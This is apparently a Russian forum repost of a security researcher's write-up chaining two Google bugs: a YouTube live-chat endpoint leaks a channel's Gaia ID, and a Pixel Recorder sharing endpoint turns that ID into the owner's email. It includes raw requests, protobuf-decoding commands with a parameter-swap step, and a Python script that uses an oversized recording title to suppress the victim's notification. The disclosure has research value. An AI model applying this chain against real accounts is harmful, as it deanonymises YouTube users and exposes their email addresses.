
Некоторое время назад я копался в документе
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Google, и вдруг заметил кое-что интересное:"BlockedTarget": {
"id": "BlockedTarget",
"description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
"type": "object",
"properties": {
"profileId": {
"description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
"type": "string"
},
"fallbackName": {
"description": "Required for BlockPeopleRequest. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: Required for BlockPeopleRequest (may not currently be enforced by validation, but should be provided) For UnblockPeopleRequest this does not need to be set.",
"type": "string"
}
}
},
Похоже, что функциональность блокировки пользователей Google‑wide была основана на каком‑то мутном Gaia ID, а также на отображаемом имени для этого заблокированного пользователя. Gaia ID — это просто идентификатор учётной записи Google
Вроде не критично. Но потом я вспомнил про
Для просмотра ссылки необходимо нажать
Вход или Регистрация

Итак, если вы заблокируете кого‑то на YouTube, то можете раскрыть идентификатор его аккаунта Google? Я проверил. Зашёл на случайную трансляцию, заблокировал пользователя и, конечно же, он появился в
Для просмотра ссылки необходимо нажать
Вход или Регистрация

В качестве резервного имени было установлено название канала Mega Prime, а идентификатором профиля был замаскированный идентификатор Gaia 107 183 641 464 576 740 691
Это было очень странно, потому что YouTube никогда не должен раскрывать базовый Google аккаунт YouTube канала. В прошлом было несколько уязвимостей, позволяющих
Для просмотра ссылки необходимо нажать
Вход или Регистрация
, поэтому я был уверен, что в каком‑то старом неизвестном продукте Google все ещё сохранились Gaia ID для электронной почты.Эскалируем до 4 миллиардов каналов YouTube
Итак, мы можем слить Gaia ID любого пользователя чата, но распространяется ли это на все каналы YouTube? Как оказалось, когда вы нажимаете на 3 точки, чтобы просто открыть контекстное меню, запускается запрос
Запрос
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Cookie: <redacted>
Ответ
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
...
"serviceEndpoint": {
...
"commandMetadata": {
"webCommandMetadata": {
"sendPost": true,
"apiUrl": "/youtubei/v1/live_chat/moderate"
}
},
"moderateLiveChatEndpoint": {
"params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
}
}
...
}
params — это не что иное, как закодированный в base64 protobuf, который является распространённым форматом кодирования, используемым в Google.
Если мы попробуем расшифровать эти параметры moderateLiveChatEndpoint:
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
-d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "113907466537670370590"
2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0
На самом деле он просто содержит Gaia ID пользователя, которого мы хотим заблокировать, то есть нам даже не нужно его окончательно блокировать!
Давайте также проверим параметры запроса get_item_context_menu:
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
6 {
1: "UCSE-aYOb-uCg059qHRis_ow"
}
Кажется, здесь содержатся только идентификатор канала, который мы блокируем, идентификатор видео прямой трансляции и идентификатор автора прямой трансляции. Давайте попробуем подделать параметры запроса с идентификатором канала нашей цели.
Для теста мы будем использовать
Для просмотра ссылки необходимо нажать
Вход или Регистрация
, поскольку он
Для просмотра ссылки необходимо нажать
Вход или Регистрация
и гарантированно не содержит сообщений в чате.$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
Тестирование на /youtubei/v1/live_chat/get_item_context_menu:
...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "103261974221829892167"
2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0
Мы можем раскрыть Gaia ID канала — 103 261 974 221 829 892 167.
Недостающий элемент пазла: Pixel Recorder
Я рассказал своему другу
Для просмотра ссылки необходимо нажать
Вход или Регистрация
об раскрытии Gaia ID YouTube, и мы начали изучать старые забытые продукты Google, поскольку они, вероятно, содержали какую‑то ошибку или логический изъян для преобразования Gaia ID в электронную почту.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
был одним из них. Натан сделал тестовую запись на своём телефоне Pixel и синхронизировал её со аккаунтом Google, чтобы мы могли получить доступ к конечным точкам в интернете по адресу
Для просмотра ссылки необходимо нажать
Вход или Регистрация
:
Когда мы попытались отправить запись на тестовую электронную почту, нас осенило:
Запрос
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
Ответ
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"]]]
Эта конечная точка принимала зашифрованный идентификатор Gaia и... возвращала адрес электронной почты?!
Мы протестировали это с помощью замаскированного идентификатора Gaia 107 183 641 464 576 740 691, который получили, заблокировав этого пользователя на YouTube некоторое время назад. И это сработало:
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"],[null,2,"[email protected]"]]]
Небольшая проблема: предотвращение уведомления жертвы
Похоже, что всякий раз, когда мы делимся записью с жертвой, она получает электронное письмо, которое выглядит примерно так:
Это плохо, и это значительно снизило бы значимость ошибки. Во всплывающем окне общего доступа, похоже, нет возможности отключить уведомления.

Япопытался передать полный протокол запроса через свой инструмент
Для просмотра ссылки необходимо нажать
Вход или Регистрация
, но там не было ничего об отключении уведомления по электронной почте:syntax = "proto3";
package java.com.google.wireless.android.pixel.recorder.protos;
import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";
message WriteShareListRequest {
string recording_id = 1;
string delete_obfuscated_gaia_ids = 2;
ShareUser update_shared_users = 3;
string sharing_message = 4;
}
message ShareUser {
string obfuscated_gaia_id = 1;
java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
string email = 3;
}
Даже попытка добавить и удалить пользователя одновременно не сработала, письмо всё равно отправлялось. И тогда мы поняли — в тему письма включается название нашей записи, возможно, если название нашей записи будет слишком длинным, письмо не получится отправить.
Мы написали быстрый скрипт на Python, чтобы это проверить:
import requests
BASE_URL = "
Для просмотра ссылки необходимо нажать
Вход или Регистрация
"headers = {
"Host": "pixelrecorder-pa.clients6.google.com",
"Content-Type": "application/json+protobuf",
"X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
"Origin": "
Для просмотра ссылки необходимо нажать
Вход или Регистрация
"}
def get_recording_uuid(share_id: str):
payload = f"[\"{share_id}\"]"
response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when getting recording uuid: ", response.json())
exit(1)
try:
response = response.json()
except:
print('can\'t parse response when getting recording uuid: ', response.text)
exit(1)
return response["recording"]["uuid"]
def update_recording_title(share_id: str):
x = 'X'*2500000 # 2.5 million char long title name!
payload = f'["{share_id}","{x}"]'
response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when updating recording title: ", response.json())
exit(1)
def main():
share_id = input("Enter share ID: ")
headers["Cookie"] = input("Cookie header:" )
headers["Authorization"] = input("Authorization header: ")
uuid = get_recording_uuid(share_id)
print("UUID:", uuid)
update_recording_title(uuid)
print("Updated recording title successfully.")
if name == "main":
main()
.. и название записи теперь стало длиной в 2,5 миллиона букв! К счастью, со стороны сервера не было никаких ограничений на длину имени записи.

Мы попробовали поделиться записью с другим тестовым пользователем... бинго! Уведомление по электронной почте не пришло.
Резюмируем
По сути, у нас есть полная цепочка атак, нам просто нужно собрать её воедино.
- Раскрыть замаскированного идентификатора Gaia канала YouTube из конечной точки Innertube/get_item_context_menu
- Поделиться записью Pixel с очень длинным именем, чтобы преобразовать идентификатор Gaia в email.
- Удалить цель из записи Pixel (очистка)
Для просмотра ссылки необходимо нажать
Вход или Регистрация